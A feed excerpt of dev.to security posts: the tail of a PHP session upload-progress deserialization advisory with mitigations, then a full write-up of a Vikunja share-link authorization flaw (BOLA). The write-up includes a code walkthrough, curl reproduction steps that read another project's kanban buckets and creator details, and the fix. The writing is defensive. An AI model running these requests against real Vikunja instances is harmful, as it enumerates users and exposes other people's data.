&lt;p&gt;Creating an object isn't the same as owning the server. Code execution needs a &lt;strong&gt;gadget&lt;/strong&gt;: a class in your app or dependencies whose magic methods do something dangerous (file operations, command execution, and so on). So the real-world impact depends heavily on your dependency tree. Large Composer-based apps tend to have more gadget candidates.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the community patch does (and doesn't)
&lt;/h2&gt;

&lt;p&gt;For EOL PHP versions (5.4–8.1), a community project (&lt;code&gt;php2shell-patches&lt;/code&gt;) ships an "enhanced" backport that describes a three-layer defense. &lt;strong&gt;This is not an official PHP patch and is not validated by the PHP Group.&lt;/strong&gt; It's still a nice illustration of defense in depth:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;th&gt;What it blocks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Delimiter sanitization&lt;/td&gt;
&lt;td&gt;Strips NUL, `\&lt;/td&gt;
&lt;td&gt;`, CR, LF from names recorded by upload progress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Serializer reset&lt;/td&gt;
&lt;td&gt;Sets &lt;code&gt;PS(serializer)&lt;/code&gt; back to &lt;code&gt;NULL&lt;/code&gt; between requests&lt;/td&gt;
&lt;td&gt;Stale serializer state across requests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Strict decode gate&lt;/td&gt;
&lt;td&gt;During progress decode, only &lt;code&gt;__PHP_Incomplete_Class&lt;/code&gt; is used (no autoload, no &lt;code&gt;__wakeup&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Limits damage even if unserialize runs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The same project's "minimal" flavor simply disables upload progress, which matches PHP's official mitigation.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you should do
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Turn the feature off
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;; php.ini, PHP-FPM pool config, or web server config
&lt;/span&gt;&lt;span class="py"&gt;session.upload_progress.enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Restart all PHP workers&lt;/strong&gt; afterwards (e.g. &lt;code&gt;systemctl restart php8.3-fpm&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;If you already did this for PHP2Shell, you're covered. Just keep it that way.&lt;/li&gt;
&lt;li&gt;Don't rely on &lt;code&gt;ini_set()&lt;/code&gt; or &lt;code&gt;.user.ini&lt;/code&gt; for this. PHP's guidance points to php.ini, the FPM pool, or server config.&lt;/li&gt;
&lt;li&gt;Side effect: apps that use this feature for upload progress bars will lose them.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Check whether you're even exposed
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Condition 2: does any code change the handler at runtime?&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"session.serialize_handler"&lt;/span&gt; /var/www &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;.php

&lt;span class="c"&gt;# Conditions 1 and 3: what's the effective config?&lt;/span&gt;
php &lt;span class="nt"&gt;-i&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"session.serialize_handler|session.upload_progress.enabled"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If nothing in your code touches &lt;code&gt;session.serialize_handler&lt;/code&gt; and the config value is &lt;code&gt;php&lt;/code&gt;, this particular path doesn't apply to you. Note that &lt;code&gt;php -i&lt;/code&gt; shows CLI settings; check your FPM/Apache config separately.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Longer term
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Apply the next regular PHP release as soon as it ships. It should include the full advisory with affected and fixed versions.&lt;/li&gt;
&lt;li&gt;Remove runtime &lt;code&gt;ini_set('session.serialize_handler', ...)&lt;/code&gt; calls and standardize on one handler.&lt;/li&gt;
&lt;li&gt;Turn off features you don't use. PHP itself suggested keeping upload progress off even after patching if you don't need it, since rarely used, lightly tested features attract attackers.&lt;/li&gt;
&lt;li&gt;Plan upgrades off EOL branches, which won't get an official fix.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>cve</category>
    </item>
    <item>
      <title>CVE-2026-68582: How a Share Link Lets You Read Someone Else's Kanban Board (Vikunja BOLA)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sat, 31 Oct 2026 21:13:28 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-68582-how-a-share-link-lets-you-read-someone-elses-kanban-board-vikunja-bola-48nc</link>
      <guid>https://dev.to/guidance_white/cve-2026-68582-how-a-share-link-lets-you-read-someone-elses-kanban-board-vikunja-bola-48nc</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flyq1zc67cotvgb40mcoc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flyq1zc67cotvgb40mcoc.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Target&lt;/strong&gt;: Vikunja, a self-hosted, open-source to-do and kanban app (Go backend)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Affected&lt;/strong&gt;: 0.24.0 through 2.3.0 → &lt;strong&gt;fixed in 2.4.0&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Class&lt;/strong&gt;: BOLA / Broken Object Level Authorization (CWE-639, CWE-863)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Endpoint&lt;/strong&gt;: &lt;code&gt;GET /api/v1/projects/{project}/views/{view}/tasks&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Precondition&lt;/strong&gt;: any project's &lt;strong&gt;share link&lt;/strong&gt;. No account needed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Leaks&lt;/strong&gt;: bucket titles, bucket creator (&lt;code&gt;created_by&lt;/code&gt;: username, name, id), and whether a given project/view ID exists&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Does not leak&lt;/strong&gt;: task contents of other projects&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Background: share links and kanban views
&lt;/h2&gt;

&lt;p&gt;A &lt;strong&gt;share link&lt;/strong&gt; lets you show a project to someone without an account. Calling &lt;code&gt;POST /api/v1/shares/{hash}/auth&lt;/code&gt; with the link's hash returns a &lt;strong&gt;share JWT&lt;/strong&gt; that carries one fact: "this token is for project A" (&lt;code&gt;ProjectID&lt;/code&gt;). Share links are meant to be handed to outsiders, so treat them as semi-public.&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;view&lt;/strong&gt; is one way of looking at a project: list, kanban, table. A kanban view owns &lt;strong&gt;buckets&lt;/strong&gt; (the columns: To Do / Doing / Done), and every bucket records who created it (&lt;code&gt;created_by&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Version 0.24.0 added per-view kanban (&lt;code&gt;feat(views)!: return tasks in buckets by view&lt;/code&gt;), which introduced &lt;code&gt;projects/{project}/views/{view}/tasks&lt;/code&gt;. That endpoint is where this bug lives.&lt;/p&gt;

&lt;h2&gt;
  
  
  The idea in one analogy
&lt;/h2&gt;

&lt;p&gt;Think of a hotel key card.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The front desk reads the &lt;strong&gt;room number (A)&lt;/strong&gt; off your key card and limits the cleaning list to room A. But the request form also asks for a &lt;strong&gt;floor plan (view)&lt;/strong&gt;, and the desk copies whatever you wrote. If you write down room B's floor plan, the cleaning list is still room A's, but the floor plan drags &lt;strong&gt;room B's layout and staff names&lt;/strong&gt; along with it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The server pinned the project from the token. It never checked that the view from the URL belongs to that project.&lt;/p&gt;

&lt;h2&gt;
  
  
  Source code walkthrough
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbs65kbm6y79n4rm8yf6c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbs65kbm6y79n4rm8yf6c.png" alt=" " width="800" height="659"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The root cause is in &lt;code&gt;TaskCollection.ReadAll&lt;/code&gt; (&lt;code&gt;pkg/models/task_collection.go&lt;/code&gt;). The snippets below are excerpts from the GitHub security advisory (GHSA-rj9j-8772-4h6c); &lt;code&gt;...&lt;/code&gt; marks omitted code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: the view is read straight from the URL
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// pkg/models/task_collection.go  (ReadAll)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProjectViewID&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetProjectViewByIDAndProject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProjectViewID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProjectID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;// (URL params)&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both &lt;code&gt;tf.ProjectViewID&lt;/code&gt; and &lt;code&gt;tf.ProjectID&lt;/code&gt; are bound from the URL path (&lt;code&gt;/projects/{project}/views/{view}&lt;/code&gt;), so &lt;strong&gt;the attacker controls both&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;GetProjectViewByIDAndProject&lt;/code&gt; (&lt;code&gt;pkg/models/project_view.go&lt;/code&gt;) does what its name says: it looks up a view with &lt;code&gt;WHERE id = ? AND project_id = ?&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If the &lt;code&gt;(project, view)&lt;/code&gt; pair exists → the view is returned&lt;/li&gt;
&lt;li&gt;If not → &lt;code&gt;ErrProjectViewDoesNotExist&lt;/code&gt; (HTTP 404)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There is &lt;strong&gt;no check that the caller may see this view&lt;/strong&gt;. That is not a flaw in the function itself, since it is a plain lookup. The question is whether an authorization check follows it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: the link-share branch never re-validates the view
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;shareAuth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;LinkSharing&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;GetProjectSimpleByID&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shareAuth&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProjectID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c"&gt;// token's project&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;getTaskOrTasksInBuckets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Project&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;opts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filteringForBucket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;forceFlatTasks&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c"&gt;// `view` is the foreign, attacker-controlled view — never validated against shareAuth.ProjectID&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Line by line:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;a.(*LinkSharing)&lt;/code&gt;: a type assertion that checks whether the caller is a share-link token.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GetProjectSimpleByID(s, shareAuth.ProjectID)&lt;/code&gt;: loads &lt;strong&gt;the token's own project (A)&lt;/strong&gt;. This part is correct. Task scope is nailed to A.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;getTaskOrTasksInBuckets(..., []*Project{project}, view, ...)&lt;/code&gt;: passes project A &lt;strong&gt;together with the view loaded in step 1, untouched&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The author likely reasoned that pinning the task scope to A makes the request safe. But &lt;code&gt;view&lt;/code&gt; is a second, independent input, and nothing confirms it belongs to A. The comment in the excerpt says it best: the view is foreign and attacker-controlled, and never validated against &lt;code&gt;shareAuth.ProjectID&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: the foreign view's buckets are queried as-is
&lt;/h3&gt;

&lt;p&gt;Following &lt;code&gt;getTaskOrTasksInBuckets&lt;/code&gt; into &lt;code&gt;GetTasksInBucketsForView&lt;/code&gt; (&lt;code&gt;pkg/models/kanban.go&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"project_view_id = ?"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OrderBy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"position"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buckets&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;getUsersOrLinkSharesFromIDs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;userIDs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;// resolves each bucket's created_by&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;First line: loads every bucket belonging to &lt;code&gt;view.ID&lt;/code&gt;. If the view is B's, you get &lt;strong&gt;B's buckets&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Last line: resolves each bucket's &lt;code&gt;created_by&lt;/code&gt; ID into a full user object.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;code&gt;Bucket&lt;/code&gt; struct serializes &lt;code&gt;CreatedBy *user.User&lt;/code&gt; as &lt;code&gt;json:"created_by"&lt;/code&gt;, so the creator's &lt;strong&gt;username, name, and id&lt;/strong&gt; go straight into the response.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why the normal path was safe
&lt;/h3&gt;

&lt;p&gt;A logged-in user takes a different route. &lt;code&gt;getRelevantProjectsFromCollection&lt;/code&gt; calls &lt;code&gt;project.CanRead&lt;/code&gt; on the URL's project and returns &lt;strong&gt;403&lt;/strong&gt; if access is denied, before any bucket data exists.&lt;/p&gt;

&lt;p&gt;Only the &lt;code&gt;LinkSharing&lt;/code&gt; branch skips that gate. On top of that, &lt;code&gt;ReadAllWeb&lt;/code&gt; (&lt;code&gt;pkg/web/handler/read_all.go&lt;/code&gt;) performs no authorization of its own, so all authorization for this endpoint lives inside &lt;code&gt;ReadAll&lt;/code&gt;. &lt;strong&gt;There is exactly one gate, and the link-share branch has a side door around it.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Why task contents don't leak
&lt;/h3&gt;

&lt;p&gt;In step 2 the task query scope is &lt;code&gt;[]*Project{project}&lt;/code&gt;, i.e. project A. Internally &lt;code&gt;getRawTasksForProjects&lt;/code&gt; filters on &lt;code&gt;tasks.project_id IN opts.projectIDs&lt;/code&gt;. So B's kanban structure (bucket titles, creators) is visible, but the tasks that would sit inside those buckets are filtered out by A's scope. The advisory states this explicitly: victim task contents do not leak.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack flow
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Attacker takes any project A's share link and calls &lt;code&gt;POST /api/v1/shares/{hash}/auth&lt;/code&gt; → gets a share JWT&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;GET /api/v1/projects/{B}/views/{V_B}/tasks&lt;/code&gt; with that JWT&lt;/li&gt;
&lt;li&gt;The server looks up &lt;code&gt;(B, V_B)&lt;/code&gt; (no authorization check)&lt;/li&gt;
&lt;li&gt;The link-share branch pins tasks to A but keeps view V_B&lt;/li&gt;
&lt;li&gt;V_B's buckets and &lt;code&gt;created_by&lt;/code&gt; user info come back with 200&lt;/li&gt;
&lt;/ol&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/NVCGFQnzMaI" width="315" height="560"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;


&lt;h2&gt;
  
  
  Reproducing it
&lt;/h2&gt;

&lt;p&gt;A public PoC repository (&lt;code&gt;comradezephyr/CVE-2026-68582-PoC&lt;/code&gt;) exists, but it was empty when I checked. The commands below are the advisory's reproduction steps translated into curl. Run them only against a test instance you control.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://localhost:3456/api/v1"&lt;/span&gt;

&lt;span class="c"&gt;# 1) Get a share JWT from project A's share-link hash&lt;/span&gt;
&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;/shares/&lt;/span&gt;&lt;span class="nv"&gt;$SHARE_HASH&lt;/span&gt;&lt;span class="s2"&gt;/auth"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{}'&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.token'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# 2) Ask for a kanban view that belongs to an unrelated project B&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;/projects/&lt;/span&gt;&lt;span class="nv"&gt;$B&lt;/span&gt;&lt;span class="s2"&gt;/views/&lt;/span&gt;&lt;span class="nv"&gt;$V_B&lt;/span&gt;&lt;span class="s2"&gt;/tasks"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="s1"&gt;'.[] | {title, created_by}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;A 200 returns B's buckets with &lt;code&gt;title&lt;/code&gt; and &lt;code&gt;created_by&lt;/code&gt; (username, name, id).&lt;/li&gt;
&lt;li&gt;Iterating &lt;code&gt;{B}/{V_B}&lt;/code&gt; over sequential integers turns the 200-vs-404 difference into an &lt;strong&gt;existence oracle&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The advisory also includes a local test. A &lt;code&gt;LinkSharing{ProjectID: 1}&lt;/code&gt; (project 1 owned by user 1) called &lt;code&gt;TaskCollection{ProjectID: 2, ProjectViewID: 8}.ReadAll&lt;/code&gt; and received project 2's buckets (&lt;code&gt;"testbucket4 - other project"&lt;/code&gt;, &lt;code&gt;"testbucket40"&lt;/code&gt;) plus &lt;code&gt;created_by&lt;/code&gt; (project 2 is owned by user 3), with no error. A nonexistent view ID returned &lt;code&gt;ErrProjectViewDoesNotExist&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Impact
&lt;/h2&gt;

&lt;p&gt;A single share token, which is a semi-public artifact by design, allows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ID enumeration&lt;/strong&gt;: project and view IDs are sequential integers, so 404 vs 200 reveals what exists across the whole instance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;User enumeration&lt;/strong&gt;: Vikunja auto-creates a default project with a kanban view for every user. Walking view IDs yields &lt;strong&gt;essentially every account's username, name, and user id&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bucket title harvesting&lt;/strong&gt;: the kanban structure of the entire instance is exposed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is not a direct task-content leak. It is &lt;strong&gt;PII exposure and reconnaissance for follow-up attacks&lt;/strong&gt;. Note that a logged-in user also loads the view before checking &lt;code&gt;CanRead&lt;/code&gt;, so they get the same ID-existence oracle from the difference between a nonexistent pair (404) and an inaccessible one (403).&lt;/p&gt;

&lt;h3&gt;
  
  
  Why the score differs by source
&lt;/h3&gt;

&lt;p&gt;This CVE carries different scores depending on where you look:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub/CNA (VulnCheck): &lt;strong&gt;CVSS v4.0 9.3 (Critical)&lt;/strong&gt;, with High confidentiality, integrity, and availability&lt;/li&gt;
&lt;li&gt;The same CNA record's &lt;strong&gt;CVSS v3.1 is 6.5 (Medium)&lt;/strong&gt; (&lt;code&gt;PR:L&lt;/code&gt;, C:H/I:N/A:N)&lt;/li&gt;
&lt;li&gt;The GitLab Advisory DB lists 9.8&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The advisory's prose describes bucket structure and user identifiers leaking, which reads as a confidentiality-focused information disclosure. A v4 score of 9.3, especially with High integrity and availability, does not line up well with that text. That mismatch is why "Critical, but no task data leaks?" feels off.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;The fix shipped in 2.4.0. The advisory's recommended direction is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;shareAuth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;LinkSharing&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProjectID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;shareAuth&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProjectID&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;placed &lt;strong&gt;before the view is loaded&lt;/strong&gt;. Whatever project the URL names, a link-share caller's &lt;code&gt;ProjectID&lt;/code&gt; is overwritten with the token's project.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;GetProjectViewByIDAndProject(s, viewID, A)&lt;/code&gt; then runs &lt;code&gt;WHERE id = V_B AND project_id = A&lt;/code&gt;. V_B belongs to B, so &lt;strong&gt;the lookup fails and the response is 404&lt;/strong&gt;.&lt;/li&gt;
